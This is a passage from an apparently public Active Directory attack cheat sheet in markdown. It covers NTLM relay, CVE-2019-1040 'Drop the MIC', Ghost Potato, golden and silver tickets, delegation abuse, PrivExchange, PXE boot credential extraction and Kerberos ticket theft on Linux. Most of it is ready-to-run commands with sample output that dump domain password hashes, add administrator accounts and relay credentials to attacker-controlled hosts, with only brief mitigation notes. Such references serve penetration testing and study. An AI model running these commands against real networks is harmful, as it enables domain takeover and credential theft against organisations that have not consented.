3000 | crack/pass the hash | | NTLM/NTHash | 1000 | crack/pass the hash | | NTLMv1/Net-NTLMv1 | 5500 | crack/relay attack | | NTLMv2/Net-NTLMv2 | 5600 | crack/relay attack | #### MS08-068 NTLM reflection NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008. > This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials. * https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS08-068 ```powershell msf > use exploit/windows/smb/smb_relay msf exploit(smb_relay) > show targets ``` #### SMB Signing Disabled and IPv4 If a machine has `SMB signing`:`disabled`, it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine. 1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off`. ```powershell [Responder Core] ; Servers to start ... SMB = Off # Turn this off HTTP = Off # Turn this off ``` 2. Run `python RunFinger.py -i IP_Range` to detect machine with `SMB signing`:`disabled`. 3. Run `python Responder.py -I ` and `python MultiRelay.py -t -u ALL` 4. Also you can use `ntlmrelayx` to dump the SAM database of the targets in the list. ```powershell ntlmrelayx.py -tf targets.txt ``` 5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions. ```powershell $ ntlmrelayx.py -tf /tmp/targets.txt -socks -smb2support [*] Servers started, waiting for connections Type help for list of commands ntlmrelayx> socks Protocol Target Username Port -------- -------------- ------------------------ ---- MSSQL 192.168.48.230 VULNERABLE/ADMINISTRATOR 1433 SMB 192.168.48.230 CONTOSO/NORMALUSER1 445 MSSQL 192.168.48.230 CONTOSO/NORMALUSER1 1433 $ proxychains smbclient //192.168.48.230/Users -U contoso/normaluser1 $ proxychains mssqlclient.py contoso/normaluser1@192.168.48.230 -windows-auth ``` Mitigations: * Disable LLMNR via group policy ```powershell Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled ``` * Disable NBT-NS ```powershell This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under "NetBIOS setting" select Disable NetBIOS over TCP/IP ``` #### SMB Signing Disabled and IPv6 Since MS16-077 the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS. ```powershell cme smb $hosts --gen-relay-list relay.txt # DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6 mitm6 -i eth0 -d $domain # spoofing WPAD and relaying NTLM credentials http://ntlmrelayx.py -6 -wh $attacker_ip -of loot -tf relay.txt or http://ntlmrelayx.py -6 -wh $attacker_ip -l /tmp -socks -debug ``` #### Drop the MIC > The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP Check vulnerability with [cve-2019-1040-scanner](https://github.com/fox-it/cve-2019-1040-scanner) ```powershell python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET' [*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth [*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected) ``` - Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD ```powershell TERM1> python printerbug.py testsegment.local/testuser@s2012exc.testsegment.local TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support TERM1> secretsdump.py testsegment/ntu@s2016dc.testsegment.local -just-dc ``` - Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server. ```powershell # create a new machine account TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support TERM2> python printerbug.py relaytest.local/testuser@second-dc-server 10.0.2.6 TERM1> getST.py -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME # connect using the ticket export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache secretsdump.py -k -no-pass second-dc-server.local -just-dc ``` #### Ghost Potato - CVE-2019-1384 Prerequisites: * User must be a member of the local Administrators group * User must be a member of the Backup Operators group * Token must be elevated Using a modified version of ntlmrelayx : https://shenaniganslabs.io/files/impacket-ghostpotato.zip ```powershell ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe ``` ### Dangerous Built-in Groups Usage If you do not want modified ACLs to be overwrite every hour, you should change ACL template on the object CN=AdminSDHolder,CN=System, " or set "adminCount" attribute to 0 for the required objec AdminSDHolder ```powershell Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)" Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)" or ([adsisearcher]"(AdminCount=1)").findall() ``` ### Trust relationship between domains ```powershell nltest /trusted_domains ``` or ```powershell ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() SourceName TargetName TrustType TrustDirection ---------- ---------- --------- -------------- domainA.local domainB.local TreeRoot Bidirectional ``` ### Child Domain to Forest Compromise - SID Hijacking Most trees are linked with dual sided trust relationships to allow for sharing of resources. By default the first domain created if the Forest Root. Prerequisite: - KRBTGT Hash - Find the SID of the domain ```powershell $ Convert-NameToSid target.domain.com\krbtgt S-1-5-21-2941561648-383941485-1389968811-502 ``` - Replace 502 with 519 to represent Enterprise Admins - Create golden ticket and attack parent domain. ```powershell kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt ``` ### Unconstrained delegation > The user sends a TGS to access the service, along with their TGT, and then the service can use the user’s TGT to request a TGS for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html #### Find delegation Check the `TrustedForDelegation` property. ```powershell # From https://github.com/samratashok/ADModule PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True} or $> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10 grep TRUSTED_FOR_DELEGATION domain_computers.grep ``` NOTE: Domain controllers usually have unconstrained delegation enabled #### Monitor with Rubeus Monitor incoming connections from Rubeus. ```powershell Rubeus.exe monitor /interval:1 ``` #### Force a connect back from the DC > SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface ```powershell # From https://github.com/leechristensen/SpoolSample .\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME .\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB # DC01.HACKER.LAB is the domain controller we want to compromise # HELPDESK.HACKER.LAB is the machine with delegation enabled that we control. ``` If the attack worked you should get a TGT of the domain controller. #### Load the ticket Extract the base64 TGT from Rubeus output and load it to our current session. ```powershell .\Rubeus.exe asktgs /ticket: /ptt ``` Then you can use DCsync or another attack : `Mimikatz> lsadump::dcsync /user:HACKER\krbtgt` #### Mitigation * Ensure sensitive accounts cannot be delegated * Disable the Print Spooler Service ### Resource-Based Constrained Delegation Resource-based Constrained Delegation was introduced in Windows Server 2012. > The user sends a TGS to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html 1. Import **Powermad** and **Powerview** ```powershell PowerShell.exe -ExecutionPolicy Bypass Import-Module .\powermad.ps1 Import-Module .\powerview.ps1 ``` 2. Get user SID ```powershell $AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid $ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID} $ACE ConvertFrom-SID $ACE.SecurityIdentifier ``` 3. Abuse **MachineAccountQuota** to create a computer account and set an SPN for it ```powershell New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force) ``` 4. Rewrite DC's **AllowedToActOnBehalfOfOtherIdentity** properties ```powershell $ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} $RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0 $Descriptor.DiscretionaryAcl ``` 5. Use Rubeus to get hash from password ```powershell Rubeus.exe hash /password:'Weakest123*' /user:swktest /domain:factory.lan [*] Input password : Weakest123* [*] Input username : swktest [*] Input domain : factory.lan [*] Salt : FACTORY.LANswktest [*] rc4_hmac : F8E064CA98539B735600714A1F1907DD [*] aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498 [*] aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 [*] des_cbc_md5 : BA297CFD07E62A5E ``` 6. Impersonate domain admin using our newly created machine account ```powershell .\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt [*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan' [*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5) [*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan' [*] Sending S4U2proxy request [+] S4U2proxy success! [*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan': doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicwJaAD AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE LmZhY3RvcnkubGFu [*] Action: Import Ticket [+] Ticket successfully imported! ``` ### Relay delegation with mitm6 Prerequisites: - IPv6 enabled (Windows prefers IPV6 over IPv4) - LDAP over TLS (LDAPS) > ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it. ```powershell git clone https://github.com/fox-it/mitm6.git cd /opt/tools/mitm6 pip install . mitm6 -hw ws02 -d lab.local --ignore-nofqnd ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad then use rubeus with s4u to relay the delegation ``` ### PrivExchange attack Exchange your privileges for Domain Admin privs by abusing Exchange. :warning: You need a shell on a user account with a mailbox. 1. Exchange server hostname or IP address ```bash pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username ``` 2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket). ```powershell ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username ``` 3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine. ```bash # https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange # https://github.com/G0ldenGunSec/PowerPriv powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016 ``` 4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash ```bash python secretsdump.py xxxxxxxxxx -just-dc python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm ``` 5. Clean your mess and restore a previous state of the user's ACL ```powershell python aclpwn.py --restore ../aclpwn-20190319-125741.restore ``` Alternatively you can use the Metasploit module [`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420) Alternatively you can use an all-in-one tool : Exchange2domain. ```powershell git clone github.com/Ridter/Exchange2domain python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip ``` ### PXE Boot image attack PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it. - Press **[F8]** during the PXE boot to spawn an administrator console on the deployed machine. - Press **[SHIFT+F10]** during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry. ```powershell net user hacker Password123! /add net localgroup administrators /add hacker ``` - Extract the pre-boot image (wim files) using [PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe)](https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts. ```powershell # Import the module PS > Import-Module .\PowerPXE.ps1 # Start the exploit on the Ethernet interface PS > Get-PXEcreds -InterfaceAlias Ethernet PS > Get-PXECreds -InterfaceAlias « lab 0 » # Wait for the DHCP to get an address >> Get a valid IP adress >>> >>> DHCP proposal IP address: 192.168.22.101 >>> >>> DHCP Validation: DHCPACK >>> >>> IP address configured: 192.168.22.101 # Extract BCD path from the DHCP response >> Request BCD File path >>> >>> BCD File path: \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd >>> >>> TFTP IP Address: 192.168.22.3 # Download the BCD file and extract wim files >> Launch TFTP download >>>> Transfer succeeded. >> Parse the BCD file: conf.bcd >>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim >>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim >> Launch TFTP download >>>> Transfer succeeded. # Parse wim files to find interesting data >> Open LiteTouchPE_x86.wim >>>> Finding Bootstrap.ini >>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$ >>>> >>>> UserID = MdtService >>>> >>>> UserPassword = Somepass1 ``` ### Impersonating Office 365 Users on Azure AD Connect Prerequisites: * Obtain NTLM password hash of the AZUREADSSOACC account ```powershell mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit ``` * AAD logon name of the user we want to impersonate (userPrincipalName or mail) ```powershell elrond@contoso.com ``` * SID of the user we want to impersonate ```powershell S-1-5-21-2121516926-2695913149-3163778339-1234 ``` Create the Silver Ticket and inject it into Kerberos cache: ```powershell mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit ``` Launch Mozilla Firefox, go to about:config ```powershell network.negotiate-auth.trusted-uris="https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com". ``` Navigate to any web application that is integrated with our AAD domain. Once at the Office365 logon screen, fill in the user name, while leaving the password field empty. Then press TAB or ENTER. ## Linux Active Directory ### CCACHE ticket reuse from /tmp List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache` > When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions ### CCACHE ticket reuse from keyring Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/TarlogicSecurity/tickey ```powershell [root@Lab-LSV01 /]# /tmp/tickey -i [*] krb5 ccache_name = KEYRING:session:sess_%{uid} [+] root detected, so... DUMP ALL THE TICKETS!! [*] Trying to inject in tarlogic[1000] session... [+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache [*] Trying to inject in velociraptor[1120601115] session... [+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache [*] Trying to inject in trex[1120601113] session... [+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache [X] [uid:0] Error retrieving tickets ``` ### CCACHE ticket reuse from keytab ```powershell git clone https://github.com/its-a-feature/KeytabParser python KeytabParser.py /etc/krb5.keytab klist -k /etc/krb5.keytab ``` ### Extract accounts from /etc/krb5.keytab The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure. Use [`klist`](https://adoptopenjdk.net/?variant=openjdk13&jvmVariant=hotspot) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23 is the actual NT Hash of the user. ```powershell $ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab [...] [26] Service principal: host/COMPUTER@DOMAIN KVNO: 25 Key type: 23 Key: 6b3723410a3c54692e400a5862256e0a Time stamp: Oct 07, 2019 09:12:02 [...] ``` On macOS you can use `bifrost`. ```powershell ./bifrost -action dump -source keytab -path test ``` Connect to the machine using the account and the hash with CME. ```powershell $ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "6b3723410a3c54692e400a5862256e0a" -d "DOMAIN" CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 6b3723410a3c54692e400a5862256e0a ``` ## References * [Impersonating Office 365 Users With Mimikatz - January 15, 2017 - Michael Grafnetter](#https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) * [Abusing Exchange: One API call away from Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin) * [Abusing Kerberos: Kerberoasting - Haboob Team](https://www.exploit-db.com/docs/english/45051-abusing-kerberos---kerberoasting.pdf) * [Abusing S4U2Self: Another Sneaky Active Directory Persistence - Alsid](https://alsid.com/company/news/abusing-s4u2self-another-sneaky-active-directory-persistence) * [Attacks Against Windows PXE Boot Images - February 13th, 2018 - Thomas Elling](https://blog.netspi.com/attacks-against-windows-pxe-boot-images/) * [BUILDING AND ATTACKING AN ACTIVE DIRECTORY LAB WITH POWERSHELL - @myexploit2600 & @5ub34x](https://1337red.wordpress.com/building-and-attacking-an-active-directory-lab-with-powershell/) * [Becoming Darth Sidious: Creating a Windows Domain (Active Directory) and hacking it - @chryzsh](https://chryzsh.gitbooks.io/darthsidious/content/building-a-lab/building-a-lab/building-a-small-lab.html) * [BlueHat IL - Benjamin Delpy](https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/BenjaminDelpy.pdf) * [COMPROMISSION DES POSTES DE TRAVAIL GRÂCE À LAPS ET PXE MISC n° 103 - mai 2019 - Rémi Escourrou, Cyprien Oger ](https://connect.ed-diamond.com/MISC/MISC-103/Compromission-des-postes-de-travail-grace-a-LAPS-et-PXE) * [Chump2Trump - AD Privesc talk at WAHCKon 2017 - @l0ss](https://github.com/l0ss/Chump2Trump/blob/master/ChumpToTrump.pdf) * [DiskShadow The return of VSS Evasion Persistence and AD DB extraction](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/) * [Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin](https://hausec.com/2017/10/21/domain-penetration-testing-using-bloodhound-crackmapexec-mimikatz-to-get-domain-admin/) * [Dumping Domain Password Hashes - Pentestlab](https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/) * [Exploiting MS14-068 with PyKEK and Kali - 14 DEC 2014 - ZACH GRACE @ztgrace](https://zachgrace.com/posts/exploiting-ms14-068/) * [Exploiting PrivExchange - April 11, 2019 - @chryzsh](https://chryzsh.github.io/exploiting-privexchange/) * [Exploiting Unconstrained Delegation - Riccardo Ancarani - 28 APRIL 2019](https://www.riccardoancarani.it/exploiting-unconstrained-delegation/) * [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288) * [Fun with LDAP, Kerberos (and MSRPC) in AD Environments](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments) * [Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html) * [Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html) * [Golden ticket - Pentestlab](https://pentestlab.blog/2018/04/09/golden-ticket/) * [How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff](https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/) * [Hunting in Active Directory: Unconstrained Delegation & Forests Trusts - Roberto Rodriguez - Nov 28, 2018](https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1) * [Invoke-Kerberoast - Powersploit Read the docs](https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/) * [Kerberoasting - Part 1 - Mubix “Rob” Fuller](https://room362.com/post/2016/kerberoast-pt1/) * [Passing the hash with native RDP client (mstsc.exe)](https://michael-eder.net/post/2018/native_rdp_pass_the_hash/) * [Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec (and PowerView)](https://blog.varonis.com/pen-testing-active-directory-environments-part-introduction-crackmapexec-powerview/) * [Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView](https://blog.varonis.com/pen-testing-active-directory-environments-part-ii-getting-stuff-done-with-powerview/) * [Pen Testing Active Directory Environments - Part III: Chasing Power Users](https://blog.varonis.com/pen-testing-active-directory-environments-part-iii-chasing-power-users/) * [Pen Testing Active Directory Environments - Part IV: Graph Fun](https://blog.varonis.com/pen-testing-active-directory-environments-part-iv-graph-fun/) * [Pen Testing Active Directory Environments - Part V: Admins and Graphs](https://blog.varonis.com/pen-testing-active-directory-v-admins-graphs/) * [Pen Testing Active Directory Environments - Part VI: The Final Case](https://blog.varonis.com/pen-testing-active-directory-part-vi-final-case/) * [Penetration Testing Active Directory, Part I - March 5, 2019 - Hausec](https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/) * [Penetration Testing Active Directory, Part II - March 12, 2019 - Hausec](https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/) * [Post-OSCP Series Part 2 - Kerberoasting - 16 APRIL 2019 - Jon Hickman](https://0metasecurity.com/post-oscp-part-2/) * [Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith](https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/) * [Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv - Thursday, January 31, 2019 - Dave](http://blog.redxorblue.com/2019/01/red-teaming-made-easy-with-exchange.html) * [Roasting AS-REPs - January 17, 2017 - harmj0y](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/) * [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa) * [Using bloodhound to map the user network - Hausec](https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/) * [WHAT’S SPECIAL ABOUT THE BUILTIN ADMINISTRATOR ACCOUNT? - 21/05/2012 - MORGAN SIMONSEN](https://morgansimonsen.com/2012/05/21/whats-special-about-the-builtin-administrator-account-12/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 1](https://akerva.com/blog/wonkachall-akerva-ndh-2018-write-up-part-1/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 2](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-2/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 3](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-3/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 4](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-4/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 5](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-5/) * [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory - 28 January 2019 - Elad Shami](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) * [[PrivExchange] From user to domain admin in less than 60sec ! - davy](http://blog.randorisec.fr/privexchange-from-user-to-domain-admin-in-less-than-60sec/) * [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy - March 16, 2017 - harmj0y](http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/) * [Kerberos (II): How to attack Kerberos? - June 4, 2019 - ELOY PÉREZ](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/) * [Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory - Sean Metcalf](https://adsecurity.org/?p=3592) * [All you need to know about Keytab files - Pierre Audonnet [MSFT] - January 3, 2018](https://blogs.technet.microsoft.com/pie/2018/01/03/all-you-need-to-know-about-keytab-files/) * [Taming the Beast Assess Kerberos-Protected Networks - Emmanuel Bouillon](https://www.blackhat.com/presentations/bh-europe-09/Bouillon/BlackHat-Europe-09-Bouillon-Taming-the-Beast-Kerberous-slides.pdf) * [Playing with Relayed Credentials - June 27, 2018](https://www.secureauth.com/blog/playing-relayed-credentials) * [Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/) * [Drop the MIC - CVE-2019-1040 - Marina Simakov - Jun 11, 2019](https://blog.preempt.com/drop-the-mic) * [How to build a SQL Server Virtual Lab with AutomatedLab in Hyper-V - October 30, 2017 - Craig Porteous](https:/www.sqlshack.com/build-sql-server-virtual-lab-automatedlab-hyper-v/) * [SMB Share – SCF File Attacks - December 13, 2017 - @netbiosX](pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/)